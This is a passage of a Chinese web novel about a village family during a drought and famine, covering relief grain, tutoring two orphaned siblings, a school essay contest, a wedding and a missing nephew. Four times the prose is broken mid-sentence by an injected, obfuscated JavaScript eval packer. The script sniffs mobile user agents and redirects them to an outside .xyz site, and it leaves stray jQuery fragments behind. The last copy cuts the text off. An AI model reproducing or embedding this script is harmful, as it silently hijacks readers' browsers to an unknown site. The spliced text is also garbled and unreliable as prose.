何大柱媳妇气的用拳头一拳拳砸在何大柱身上：“那咱儿子咋办？都跟人说好了的！” 何大柱不堪其扰，用手抓住她的拳头：“行了，别闹了！儿子的事我们再想别的办法！” “想办法？你说的倒轻巧！拿什么想办法？”何大柱媳妇满脸嗤笑。 “那你让我怎么办？把他俩抢回来，然后我去蹲篱笆子吗？”以前的事民不举官不究就算了，现在那俩小东西有人护着，一旦被举报，他肯定要被抓的。 何大柱媳妇一脸怒容：“谁敢？我们管教自己侄子侄女都不行了？” 不得不说，这俩真不愧是夫妻，不是一家人，不进一家门，都是‘法外狂徒’。 “这些东西不是我们说了算的！”何大柱不想把何止尧他俩抓回来吗？以前是不想的，俩孩子没了，他就可以名正言顺占了房子。 可后来，他是想的，王麻子那边开的筹码太高了。 何大柱知道是为什么，他儿子要死了，想拉个垫背的，求个好运，下辈子投个好胎。 黄家岗虽然很多重男轻女的，但是也没狠到要把养了好些年的女儿送上死路。 何大柱舍得啊，反正又不是他生的，送出去还能换来一大笔好处，给他儿的前途添砖加瓦，还能让家里少个人浪费粮食，对他来说是两全其美的事情。 何大柱叹了一口气：“这件事情以后不要再提了！就当是咱家止戈没那个福气吧！” “我不管……”何大柱媳妇满地打滚，见何大柱不理会他后，又爬起来要撕扯他。 何大柱一脚给她重重踹倒在地：“还嫌家里不够乱的吗？我说了，这件事到此为止！” 小事情随她闹，能给家里闹来好处就行，事关自己，何大柱就不能忍受了。 挨打的何大柱媳妇老实了，一个人回屋抹眼泪去了。 何止尧最终还是心满意足的加入了钟家学习小分队。 因着何大柱的事情，钟新澄觉得他太惨了，十分慷慨的表示自己可以教何止尧和何梦婷认字。 何止尧欣喜若狂，不管是谁，只要能让他识字，他都很感恩。 “姑姑~”钟新澄用可怜巴巴的眼神望着钟莹莹。 到了要去教何家两兄妹的时间，钟新澄又想出去玩，就想让钟莹莹帮他。 “没事别喊我啊！”钟莹莹才不吃他这一套。 自己答应下来的事情，自己做不到，现在又想托别人下水，这是个很不好的习惯。 “你自己字都写的囫囵半个的，还要教别人？” “自己的事情自己做，我帮不了你！作业记得写，回来我要检查的。” 钟新澄没法子，又抱着烂糟糟的课本找何家两兄妹去了。 他想发火，又看到老万家两兄妹眼中的渴望与崇拜，心中不仅火气全消，还充满了力量。 “这个字念何，也就说你们的姓……”钟新澄讲课，想到哪里讲哪里，并不拘泥与他抱着的小学破烂课本。 何家两兄妹又是个大文盲，对于这种教学方式感觉哪里不对，但也说不出个所以然来，只能被动的跟着钟新澄，他讲到哪里，他们学到哪里。 学一个字算一个字，两兄妹如饥似渴的吸收着知识。 钟莹莹溜达过去听了几次，看三人都挺认真就没再管了。 快开学了，上头发了救济粮下来。 好些个村子兴致勃勃的过去领，却又骂骂咧咧的带着一车东西回村。 把所谓‘救济粮’拿到手，钟莹莹才知道他们为啥骂人。 领到的东西不符合预期，甚至完全不在预料之内，能不骂吗？ 上头这次发的东西还挺大方，一个村十几麻袋呢，一家能分到一大袋。 忘了说了，各村的食堂因为没粮食，都倒闭了。 大家都各回各家，各找各妈去了。 上面对于这种情况也是睁一只眼闭一只眼，只要没人上报，他们就不管。 所以这次领了粮食，大家都是分了拿回自己家。 “嗬！这不喂猪的吗？”陈显英扯开那装粮食用的麻袋，伸手捻了一点粉末放进嘴里，一品她就知道大概成分了。 麦麸米糠混着极少的粮食打碎了，里面可能还掺了点树叶子还是其他啥东西，总之放到嘴里十分的剌嗓子眼，口感也很奇怪。 怪不得那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714126|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老家伙要骂人，交上去的都是精米细粮，往下分的时候又变成了比粗粮还要不如的麦麸米糠，搁她她也想骂人。 真就困难到这种程度了吗？陈显英忽然感觉有点可怕。 小地方闹灾无所谓，国家会管的。 但要是大面积的闹灾呢？还会有人注意到他们这个小地方吗？ 陈显英把救济粮摆在家里最显眼位置上，然后把其他的细粮粗粮都收到大缸里，挪到地窖里，盖严实了。 “以后我们每天就吃这个了，一天吃两顿，晚上就不吃了，早点睡！”陈显英将救济粮里掺了些玉米面，搅和匀了，不至于太难以下咽和缺营养。 “奶奶，我不想吃这个！”吃一口，卡的要顺半天气，钟新澄没遭过这种罪，他吃不下去。 陈显英用手指戳戳他的脑瓜子：“你跟你姑姑还有姐姐每天都有鸡蛋吃呢，有什么咽不下去的？你出去看看，外面的孩子哪有这待遇？” 钟新澄嘴巴撇了撇，他知道，隔壁两兄妹吃的就是这种，老万不讲究，东西煮熟能吃就行。 两兄妹饿惯了，能吃饱已经是欢天喜地，哪里还会挑刺。 钟绍华一脸严肃道：“娘，村里的猪是不是该杀了啊！”眼见这人吃的粮食都不够了，现在人都开始吃猪食，那猪还能吃什么？ 早点杀了还能多点肉，慢慢耗下去没粮喂猪，损耗更大。 “那猪也不是我们说了算的！”钟伟先也觉得该杀，但是提前杀了，年底怎么办？人家有东西上交，他们没有。 钟绍华沉思片刻：“就实话实说，没东西给猪吃了，杀了直接拖一半交到镇上，怎么处理是他们的事情。” 上头总不可能为了一头两头猪，断送老百姓的活路。 钟莹莹又带着村里小孩上大坝上挖白茅根了。 颍河的水彻底干涸，河道裂开一道道大缝隙，人踩在上面走也不会往下陷。 河里搁浅的河蚌鱼虾蟹被人捡了个七七八八，剩下的幸存儿也早已被烈日晒的脱水腐朽。 河堤上遍地都是的紫花地丁因为缺水，叶子焦黄一片，几乎见不着绿色。 孩子们挖白茅根的同时，顺带会挖紫花地丁，仅存的一丝绿芯带着根部，通通被撅出来放到篮子里去。 一铲子又一铲子，河堤松软的表层土被撬开，嫩生生的白茅根被挖掘出来。 钟莹莹可太喜欢这东西了，甜丝丝的，还能补充能量，馋嘴必备。 “姑姑（嚼嚼嚼）” “这可真好吃！（嚼嚼嚼） “你说这玩意咋长的呢？埋那么深，还这么甜！（嚼嚼嚼）” 连吃几天救济粮的钟新澄感觉嘴巴一点味道都没了，直到白茅根进嘴，他才觉察到味蕾复苏。 陈显英管粮食管的严，以前还有小甜水喝，现在喝个屁，啥也没有。 “好吃等下多挖点，还可以回去泡水喝（嚼嚼嚼）”钟莹莹也停不下来，空间里有粮，她没舍得吃独食，每天掺一点到救济粮里，全家一起吃。 “好，我要挖一大堆，回去天天吃！” 60. 第 60 章 几个孩子挑挑拣拣，每人都挖了一大包，细碎的当场就放嘴巴里吃掉了，比较完整的准备拿回家去晾干慢慢吃。 钟莹莹没忍住，背着他们作弊，把堤坝深处长着的白茅根给收掉了，至于浅表层的，就留着给其他人慢慢挖。 她在心里告诫自己，特殊情况特殊对待。 都是同村人没事，以后万不能再这样了。 开学就要初三了，回到学校指不定过啥日子呢，弄点白茅根补充营养也是应该的。 果然，不出意料，一开学就迎来学校食堂的暴击，给粮票也只能吃救济粮那个粉粉捏的团子，还不管饱。 她有空间加餐，其他同学没有，一个个吃的头晕眼花。 “莹莹，我好饿啊！”李红雪趴在课桌上，有气无力的说话。 现在他们为了节省体力，饿的慢一些，除了上下课，回宿舍基本立马躺平睡觉了。 钟莹莹往她嘴里塞了一根白茅根：“吃点！” 李红雪咀嚼了好多下，竟是连着渣子一块吞下去了。 肚里没食，像是火烧一样。 祁绮没啥事，家里都是上班的，就她一个吃白食，供得起。 其他几个和李红雪一样从村里来的，境况大都一样。 不管是吃食堂也好，还是吃自己带的粮，都是那个救济粮。 城里原先去粮站能买到粗粮，现在也全换成了粉粉状的救济粮。 想吃好的？那就高价和别人换去吧。 谁家钱是大风刮来的，买高价粮吃？ 城里人生的娃也多，班上其他的城里学生也跟着挨饿起来。 郑老师抱着书拎着三角尺从外面走进来：“都打起精神来，下学期就要中考了！不好好学到时候考不上，你们三年白搭！” 要他说，谁不饿啊，饿也得好好学习，学习才能考上中专，去当工人。 郑老师把东西往讲桌上一放：“上课！” 底下的同学们从死气沉沉中脱离出来，站起身：“老师好！” …… “最近有一个作文大赛，主题是‘歌颂祖国’，字数不少于800字，每个学生都要写一篇交上来，学校会评选出三篇优秀作文交到市里面参加比赛。” 话音刚落，底下立时哀嚎一边。 活动一大堆，他们县城往前数多少年，拿奖的都没几个。 “你们也别太悲观了，这次学校选出的前三名也有奖励呢！”郑老师知道学生在想什么。 他们学校和市里的，乃至其他县城相比，都差了不少，穷啊，师资力量跟不上，生源也没人家好，拿什么比？怨不得学生没有积极性。 “学校评选出的前三名，每人发三斤面粉，不是粮票，是纯白面的面粉！” 发粮票也买不到面粉，学校为了激励学生，选择直接发实体奖励。 “哦吼吼~~真的吗？老师！”底下学生立马不嚎了，一个个目光炯炯有神的望着郑老师。 “真的！” 得到肯定，学生们像是炸开了锅一样。 在全校范围内选三个人的文章，每人都有机会，不看考试成绩，只看文章，万一自己中了呢！ 想到麦香浓郁，筋道可口的白面馒头和面条，再对比粮站发的乱七八糟混合物粉粉捏的团子，每个学生都如同打了鸡血一样。 郑老师见学生的积极性被调动起来，满意的点点头，敲敲黑板：“作文写完以后这周五交上来，老师拿去批改，下周一会公布名次！” “接下来，我们继续上课……” 两节课下来，心情激昂的学生腹中更加饥饿了。 李红雪努力压下喉咙中不住往外冒的酸水，却仍旧忍不住沮丧：难受，想哭。 学校也改了两餐制，晚上没饭，原本初三会有的晚自习也取消了。 女生们下午放学时怀揣着一肚子饥饿往宿舍楼走。 “你们几个，站住！” 几个男生气势汹汹迎面而来。 钟莹莹无语了，都饿成这个样子，咋还有人有精力找茬？ “有啥事？” “何止尧、何梦婷是不是在你们钟家岗，我警告你们，早点把人放了，不然见你们一次我打一次！”为首的男生亮了亮自己的拳头。 钟莹莹无语。 “你打啊！” 这几个明显是初一初二的学生。 低年级挑衅高年级，四个矮个男生，对六个女生，其中四个要比他们高，自讨苦吃，这家伙看起来不太聪明啊！ “我……”为首的男生气不过边说边要动手，钟莹莹几个人已经做好还手的准备了。 然而对面的人话都没说完呢，就被人撂地上了。 动手的人有点出乎意料，是刘兵：“这几个家伙干嘛的？” “谁知道啊！”李红雪很是不耐烦，本来肚子就饿，还遇见这糟心事。 几次搞事不成后，这家伙天天在班里跟透明人一样。 刘兵眉头一皱，对着已经躺地上的那个问：“你们来干嘛的？” “嘶~我、我、我来找钟家岗的人把我堂弟堂妹还回来”何止戈忍着身上的痛，小心翼翼道。 听闻他堂弟被钟家岗的人收养，他爹娘去要人没得逞，他就想过来找麻烦。 他还等着上中专呢，那王麻子也不知道哪来的关系，能找人给他送到中专去。 一个小丫鬟一样的堂妹，和上中专的名额，傻子都知道选哪一个。 “那是大人的事，你拦我们班女生做什么？” 什么堂弟堂妹的，和他们当学生的有啥关系？ 刘兵不了解情况，却还是放狠话道：“下次还敢这样，我跟班上同学打断你们的腿！” “是、是、是，我们不敢了~”何止戈光说要来找女生麻烦，没说是高年级的女生，可把他们害惨了，几个小男孩头也不回的丢下人跑路了。 同伙都跑光了，只剩下何止戈一个人坐在地上瑟瑟发抖。 钟莹莹嘲弄：“你不走吗？”就这胆子还敢出来找人麻烦，啧啧！ “我走。”说着何止戈连滚带爬的跑了。 只剩下宿舍六人组还有刘兵，气氛沉默了许久，几个女生面面相觑，想到了刘兵貌似和她们有矛盾来着。 最终刘兵打破了沉寂。 他低头道：“对不起，以前是我不对！我不该因为嫉妒就胡乱举报你们！” 在班里被其他男同学鄙夷孤立的这些时间，他想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722083|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多，一开始是觉得自己没错，后面突然灵光一闪，换位思考。 他才知道自己究竟做错了什么。 一错，借着自己小叔是老师在班里耀武扬威，拉帮结派欺负其他同学。 二错，小叔被开除后，死不悔改，诬陷女生考试作弊。 三错，错在这么久都没想明白什么是对是错，自己被孤立，是活该。 几个女生没回答，刘兵身后突然跳出来几个男生，是他们班上的同学。 他们拍拍刘兵的肩膀：“好啊，刘兵，你终于迷途知返了！” 一块玩了这么久的好兄弟，骤然走散他们也不习惯。 看到班里女生被人找麻烦，他们正要出手时，刘兵就跳了出来。 “我……”刘兵有点支支吾吾。 “得了，还不好意思了！”以前和刘兵玩的最好的那个男生给他开脱：“知错能改就是好孩子，李红雪你们能原谅他吗？” 刘兵顺着他的话语也抬起头满怀期盼的看着面前的几个女生。 “算了，相逢一笑泯恩仇，以后大家都还是好同学！只要刘兵你以后不要再做那样的事就行。”几个女生咋咋呼呼的一顿商量，最后引用了电影里面的一句话，了结了这段维持了两年的恩怨。 “谢谢你们！”刘兵感动的快要哭了，为了不在人前掉下眼泪，他咻的一下转身跑了。 “那我们也走了，要是那几个再来找你们麻烦，记得知会一声！”剩下那几个男生笑了笑，也追刘兵去了。 周五的时候大家都把自己精心写的作文交给了郑老师，哪怕班里成绩最差的学生，这次的比赛也用了十二分专注。 最终，周一的时候评选出了三名同学。 钟莹莹他们班有两名，还有一名是别的班的同学，刘兵和高家娣。 钟莹莹没选上，意料之中，她的饥饿感没那么强，比不过这群‘饿狼’，太饿了，为了一口吃的，什么都能做出来，当然，除了数学题。 刘兵评选上后，整个人放的更开了。 他干了这么多错事都能选上，郑老师是公平公正的。 之前担心郑老师给他穿小鞋，整个人一直战战兢兢的，吃也吃不好，学也学不好，成绩都下降了不少。 和女同学说开后，他给郑老师也道了歉。 令人意外的是高家娣，她竟然选上了，原先的吊车尾，现在的前十。 看了她的作文，钟莹莹几人是自愧不如。 通篇充斥着感谢祖国，给她这么好的生活。 里面写了他们家的变化，他爹以前的生活是什么样的，她现在的生活是怎么样的，从地主家的奴隶，到新社会的自由人，从出生就要被溺死的女婴，到现在可以和男同学一起坐在学校里读书，一字一句充斥着高家娣泣血的心路历程。 钟莹莹：比不过，完全比不过。 作文被交到市里去，前三名领了奖励，他们的学习还在继续。 天热的离谱，钟莹莹估摸着该有后世的40多度了。 课才上了一个月，学校就停课，布置了课业，让大家回家自学，等到十月国庆结束凉快点再返校上课。 原因无他，校长中暑了，还有好几个学生也被送到医院去了。 61. 第 61 章 钟新澄撅了撅嘴：“姑姑，你们也不上课了啊！”小学比中学停课还要早一些。 钟莹莹回家，他又没法愉快的玩耍了。 钟伟先也在家里坐着，外面实在太热了，没有树荫的地方能给人烤化了。 再勤劳的人也扛不住这个热度，纷纷避其锋芒，等到太阳落山后再去地里做活。 钟明芳带着丽丽也回乡下避暑，钟家人很少有这么整齐过。 炎热的天气让人没有胃口，午饭是钟绍华做的。 菜地里摘的黄瓜和空心菜，黄瓜直接凉拌，空心菜焯水后加上蒜末和香油拌了，主食是救济粮粉粉加了点白面煮成的糊糊，一人分了一碗。 丽丽喝了一口就人小鬼大开始叹气。 “怎么了？是小叔做饭不好吃吗？”钟绍华笑着打趣。 丽丽原先该喊他舅舅的，姓氏改回来，称呼也改了。丽丽现在就是钟家的孙女。 小丫头皱着鼻头：“不是你做饭不好吃，是救济粮不好吃！” 全是粉渣渣，卡嗓子眼里不上不下的，吃一口还需要喝点水顺顺。 在城里吃这个，回到村里还吃这个，她一天天过的都是什么日子啊！ 她想念大米饭了。 这个没法反驳，救济粮是真难吃。 陈显英转移话题道：“强先家那个好日子是不是快了？” “嗯，日子就定在这个月。”钟伟先随口答道。 他们说的是村长家的大儿子，钟新文，二十多岁了，在村里妥妥的大龄未婚青年。 “琳琳年纪比他小好几岁呢，那老楚还真舍得！”琳琳才十七八，也不知道老楚急个啥。 “他想给女儿就近嫁到村里，以后好帮衬照顾着儿子，年龄近一点的只有强先家的儿子了，现在不嫁，等过几年人家对象找好了，他闺女只能嫁到外村去，他精着嘞！”钟伟先没说的是现在家家户户粮食都紧张的很，老楚嫁女儿恐怕不仅仅是为了让女儿嫁得近。 嫁出去能换一笔彩礼，他不拿那个钱，钟强先也会给送点粮食给亲家，就是苦了强先了，孩子一大堆，还得往外倒腾粮食。 大的安定下来，后面还有三个儿子排队等安排呢。 孩子生的多，干活的时候人多让人羡慕，嫁娶的时候才让人头痛。 还是自己家好，两女一儿，大闺女和二儿子早早的安定下来了，小的这个年纪还小，起码得等个八九年才到处对象的年纪，不着急。 丽丽捧着碗在边上听着听着忽然语出惊人：“我以后不要嫁人，我也要娶媳妇！” 小丫头脑子转的特别快，嫁人要住到人家家里去，娶媳妇住自己家，她不要住到别人家去，她要跟娘，姑姑住一起。 钟新澄大声嘲笑：“女生要嫁人，男生才能娶媳妇！” 丽丽涨红了脸反驳：“我就是要娶媳妇，到时候把你嫁出去！” 家里大人在边上看着他俩吵嘴，很是无奈，啥事都能吵两句。 “吃完了，都别吵了，写作业去！”钟莹莹一句话下去，两小只都不吱声了。 没有孩子喜欢写作业。 那俩姓何的倒是吃完饭屁颠屁颠就来了。 何梦婷不喜欢上学，但他哥喜欢，拘着她一块好好学。何止尧去学校盯着老师求知若渴，刚准备大发神威呢，学校就停课了，满脑子的问题无人答疑，回家后偶尔去知青院问问题，天热，知青们也变得惫懒了，他不好经常去打扰。有时候会问老万，但老万自己都是个半吊子，好多问题答不上来。 他还去问钟新澄，钟新澄是个三天打渔两天晒网的，高兴了回答他几个问题，不高兴了就自己跑出去玩了。 钟莹莹一回来，最高兴的就是他。 离家近，就在隔壁，还喜欢教自己侄子侄女，就算自己不问问题，跟着听讲他已经很满足了。 何家两兄妹懂分寸，钟莹莹也不好赶人走。 干脆抱着一种放一只羊也是放，放两只一样放的心态，默认何家两兄妹每天过来一块学，偶尔他们有问题，也一并解答了。 何止尧的学习进度很快，终归是年纪比较大，思维发育的比较完善。 小学一年级的内容他很快就学完了。 “我……”何止尧话没说出口，钟莹莹就把自己当年小学二年级的课本掏出来递给他了：“借给你的，不要给我弄脏了。” 被家里那俩孩子祸害的，钟莹莹觉得，爱学习的孩子应当得到奖励。 “谢谢！我会好好爱护它的！”何止尧的眼里满是惊喜。 一开始的时候何止尧心里还会有些嫉妒，嫉妒为什么她的人生可以一帆风顺，自己却要遭遇这么多，连踏进学校都要比对方晚了那么多。 现在他望着穿着简单，扎着高马尾，一脸稚气的钟莹莹，只想着钟家岗真的都是好人，以后他有能力了，一定要报答他们。 拿到书，何止尧开启新一轮的学习。 几天下来，已然学了不少，语文还好，数学他没人教是真的犯了难。 “学的这么快啊！这个问题你不会？”钟莹莹声音微扬。 “嗯。”何止尧心里有些羞耻。 “你看啊，两位数相乘，先将两个数上下对齐列好，然后用下面数字的个位数分别乘以上面的个位数和十位数，按照顺序……”钟莹莹尽量用浅显易懂的方式给他解释。 “懂了吗？” 何止尧点点头。 “那你把这道题算一下我看看！” 钟新澄这会儿和丽丽又和好了，两颗小脑袋凑在一起嘀嘀咕咕的。 “姑姑太吓人了，我不爱写作业，你呢？” 丽丽点点头道：“我也不爱写作业。” 在学校学习就算了，回家还不能玩，丽丽不开心。她成绩比钟新澄好，但是也是个贪玩的小女孩。 何梦婷也凑过来：“我也不爱写作业！” 淦！！！怎么还有一个人！！！ 钟新澄和丽丽被突然冒出来的何梦婷吓了一跳。 “你们吃吗？”何梦婷从小兜里掏出来两根不知名植物的根茎，手掌黏糊糊的，就这么塞了一根进嘴巴里，一边嚼，一边不舍的把手里的东西递给钟新澄和丽丽。 两小只看着她的手，迅速的摇了摇头，同步说：“不吃！” 丽丽心想，这可比钟新澄还埋汰呢！ 钟新澄心想，这咋比自己还埋汰呢！他终于懂了姑姑为啥嫌弃他了。 何梦婷可不知道自己被人嫌弃了，和哥哥流浪的那几个月，她什么苦头都吃过了，爹娘一没，就是在黄家岗，她也没过过几天好日子。 什么叫作脏，她不知道，她只知道，东西能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732566|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃，能填饱肚子，那就是好东西。 教学停止，钟莹莹给何止尧使了个眼色，意思是：“你看你妹妹！” 何止尧转过身去，见她又乱吃东西，脑瓜子嗡嗡的。 “何梦婷，哥哥给你说了多少次了，吃东西前要洗手！” “拿来！”何止尧手伸到她面前。 何梦婷装作无事发生，把东西捏紧了，小手背到身后去，活像一个老干部。 何止尧失去耐心，一把将她扯过来，掰开她的小手，把手里的东西夺掉：“走，回家洗手去。” “要挨打了，”钟新澄跟在后边看笑话。 “谁要挨打了？你吗？” “我才不挨打，是……”话没说完，钟新澄忽然感觉有点不好，一看小伙伴丽丽已经背弃他，端正的坐在座位上，拿着笔写作业了，他立马讨饶：“姑姑，我不敢了，我现在就写作业去！” 从钟莹莹手下溜走，坐到丽丽身边，他还小声骂了一句叛徒。 明明是他们俩一块看的热闹，姑姑来了，丽丽却自己跑了，不和他说，坏人！他不要再跟她玩了。 刚和好的两个孩子，翻脸比翻书还快。 钟绍华在背后直乐，一物降一物，自己一管孩子，他就找爷爷奶奶帮忙，现在小妹关着他，他屁都不敢放一个，孩子还是很会看眼色的，分得清谁是大小王。 钟莹莹其实也觉得蛮爽的，体验了一把前世教导主任的感受，果然，管人比被管舒服多了。 日头渐渐落下，村里休息的人也从家里走出去，开始了下午的劳作。 钟新澄从作业中解脱出来，欢呼一声，扔掉书本，就跑出去玩了。 大人们一桶水一桶水往地里挑着，卷曲的枝叶逐渐舒展开来。 早前播种的土豆已经不用再浇水，逐渐成熟的块茎如果再浇水，会腐烂的，村民们的主要目标是还在生长中的红薯和高粱，最重要的是红薯，关乎着全村人下半年的口粮。 高粱这个新品种，只是试验品，结不结果他们还不知道呢！ 知青们研究了救济粮成分后，给村民们提出了一个好主意（馊主意也不一定）。 将采收后作物的茎叶晒干，磨碎，收集起来，分给各家各户，等到吃饭时，将正常的粮食和这些东西混在一起，煮成糊糊，或者掺点榆树皮粉末，捏成团团，蒸着吃。 为此，他们可没少挨孩子们的骂，救济粮已经够难吃了，没想到还有更难吃的在等着他们。 知青们自己也要受不了了。 王岳率先提出抗议：“那有土豆为啥不给我吃？我要去县城举报你们！” 老知青们，去吧，爱去不去，县城也是这个德行，谁不是吃乱七八糟的不知名粉末，他们这算好的，起码粉糊糊管饱。 周岱为了和谐，还是劝了两句：“王知青，如果你想吃土豆的话，那我们可能就要分开吃饭了，我可以把你的口粮分出来，你自己决定就好。” 王岳不吱声了。 家里不知道啥情况，有一个月没给他寄东西了，他不会做饭，朱志鑫看风头不对，这阵子也不顺着他了，分出去他只能饿着肚子，识时务者为俊杰，他忍。 日子一天天过去，土豆收上来，都快收红薯了，还是没有一场雨，众人都在心中祈求，下一点吧，哪怕是毛毛细雨也行。 62. 第 62 章 “新娘子来咯！” 村里娃娃围着钟新军和楚琳琳，等着这对新婚小夫妻给他们发喜糖。 钟新军红着脸端着放喜糖的盘子，楚琳琳也是一脸羞意给每个孩子，一人发了一颗喜糖。 大人是没有的，日子不好过，东西不好买，只让孩子们沾沾喜气，大人们也表示理解，年景不好，搁丰收年，还会请他们吃酒席嘞，特事特办，正常。 沉浸在热热闹闹的婚礼之中时，钟莹莹感觉仿佛有什么东西滴到了她的脸上，该不会是鸟屎吧？顿时她的脸色变得极为难看。 “下雨了？” “我的老天爷啊，你终于可怜可怜我们了！” “新军和琳琳一结婚就下雨了，好兆头啊，小夫妻都是有福气的！” 下雨了，还好不是鸟屎！什么？竟然下雨了！钟莹莹才反应过来。 她仰头看向天空，丝丝细雨无风直直坠落。 冰凉的雨滴落在她的脸上，她只觉得这夏天的燥热终于被拂去，独属于秋日的凉意浮现。 真好，不管这场雨能持续多久，终归是给人们保留了一点生命的希望。 钟新澄、楚天宝……几个孩子在雨里疯跑着，搁平常早该挨一顿揍，此刻大人们也没心情去管，他们也沉浸在这场雨的喜悦之中。 雨带来的不仅有喜悦，还有烦恼与争吵。 村里就播种的事情吵翻天了。 有人觉得能下一场雨，那接下来还会再下的，正好土豆已经收上来了，秧母田里的秧苗还活着呢，正好可以补种一季晚水稻。 有人觉得这场雨这么短，这么小，补了水稻也收不了，不愿意种，小小一个钟家岗，十几户人家，竟然分了两方人马吵的不可开交。 孩子们不管这些。 丽丽一心惦记着白米饭，她满怀希望地问钟莹莹：“姑姑，下雨了我们是不是就不用吃救济粮了？” 钟莹莹答：“还是要吃的。” 村里人不知道，她还不清楚嘛，这场干旱可是要持续三年之久的，天灾，非人力所能抗衡，如今才过去大半年，还有两年半要熬，任重而道远啊！ “啊～”丽丽不开心的长大嘴巴，拖长尾音。 钟莹莹摸摸她的头，在她嘴巴里塞了一截白茅根。 丽丽嚼了两下，顿时就把不开心抛到九霄云外去了：“姑姑，好甜呐！” 忽的丽丽感觉脑瓜子被重击：“谁，谁砸我？” 钟莹莹顺着她的视线望过去，钟新澄瘪着嘴，要哭不哭的，看起来可怜死了。 “姑姑偏心！偷偷给丽丽东西吃！”说完他哭着跑了。 丽丽气的也要哭了：“他用土坷垃砸我，我还没哭呢，他反倒先哭了，哪有这样的道理！” 钟莹莹哄了她几句，把从琳琳那得来的糖给她吃了，给人哄好了，又追钟新澄去了，都是祖宗啊！ 其实还真都是祖宗，上辈子的老祖宗，这辈子的小祖宗。 重生一次，别的事没干，光带孩子了，她自己也是个孩子哇！ 当姑一年，忧侄百岁，下辈子还是当大侄子吧，这破长辈谁爱干谁干去！ 吐出心中的烦闷之气，钟莹莹开始找寻小破孩的踪迹。 找了一圈也没找到人。 “娘，你见着木木哪去了吗？” “没有啊，他不是跟天宝在外面玩呢吗？”陈显英一脸茫然。 钟莹莹又去问钟明月：“嫂子，你见着木木了吗？” 钟明月也表示不知道。 家里问了一圈，钟莹莹又去知青院问了一遍，得到的答案都是没有，此刻她心里已经有些着急了。 “爹，爹，木木不见了！” “什么？”钟伟先感觉心脏都要停滞了。 缓过神来忙追问：“啥时候不见的？” “有一会儿了，我给丽丽一根白茅根吃，没看见他，他气跑了，我找一圈都没找到，娘，嫂子还有知青那边都没看见他！”该不会让拐子抱走了吧？想到某种可能，钟莹莹急的眼泪都快流下来了。 “莹莹，你别急，现在河沟里都没水，不会出什么意外的，八成是那小子自己躲哪里不愿意出来，我这就喊人一起去找。”村里孩子出事最大的可能也就是掉水里了，现在都是干沟，掉下去也淹不死。 打的水井井口也都压了大石头，掉不下去。 钟伟先在心里安慰自己，村里没外人，不会出意外的。 “你先回家，和你嫂子说一声，我喊村里人一起找。” “嗯。” 钟莹莹回了家，告知陈显英和钟明月，俩人也是急的不行，正巧钟绍华回来了，一听他儿子丢了，立马也出去找了。 村里此起彼伏的全是叫喊声，小小的丽丽也跟着找人，钟莹莹害怕她也丢了，把人紧紧牵着。 从白天找到晚上，钟明芳已经去县里喊黄有德报案了。 一队干警极为重视，连夜赶过来帮着一块寻找孩子。 连那几口被石头压着的水井都被打开看了，确定孩子没掉进去，才又给盖上。 “还没找到啊？那肯定是让拐子拐走了！”知青们也被喊着出来一起找人，找到大半夜，王岳心里满是不爽。 李莉莉白了他一眼：“不会说话可以闭嘴！” “哎，你这人怎么说话的？”王岳指着李莉莉的鼻子就想干仗。 虽然这些日子落魄了不少，但王岳本质上还是怀揣着一种大少爷的心态。 看他想动手，张强和徐超不乐意了。 新人打老人，不是不把他们放在眼里吗？ 张强和徐超挡在李莉莉身前，挡住了来自王岳的挑衅。 朱志鑫那个墙头草，哪边厉害往哪边倒，现在两边气势持平，他就当个旁观者看热闹。 一时间气氛变得剑拔弩张起来。 “都别吵了，孩子还没找到，你们先内讧起来了？这让村里人以后怎么看我们？你们还想不想回城了？想回城就老老实实帮忙找孩子，还有你，王岳，要是不想待在钟家岗，可以直说，我给村长说，把你送回去！”周岱也是无语了，一个二个的，不知道咋那么能折腾。 王岳不服气，想反驳，又想到上次离开钟家岗，县里给他分的那个村，他干呕一声，默不作声了。 “啊～”一声刺耳的尖叫穿透所有人的耳膜。 周岱听出那是钟新澄的声音，来不及喊其他人，自己先跑着去找声音的源头了。 干警们举着手电筒，照着村长家的柴火堆，钟新澄赫然躲在里面。 只不过此时的情况有点不容乐观。 小小的孩童身上缠绕着一条两米多的蛇，那蛇一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 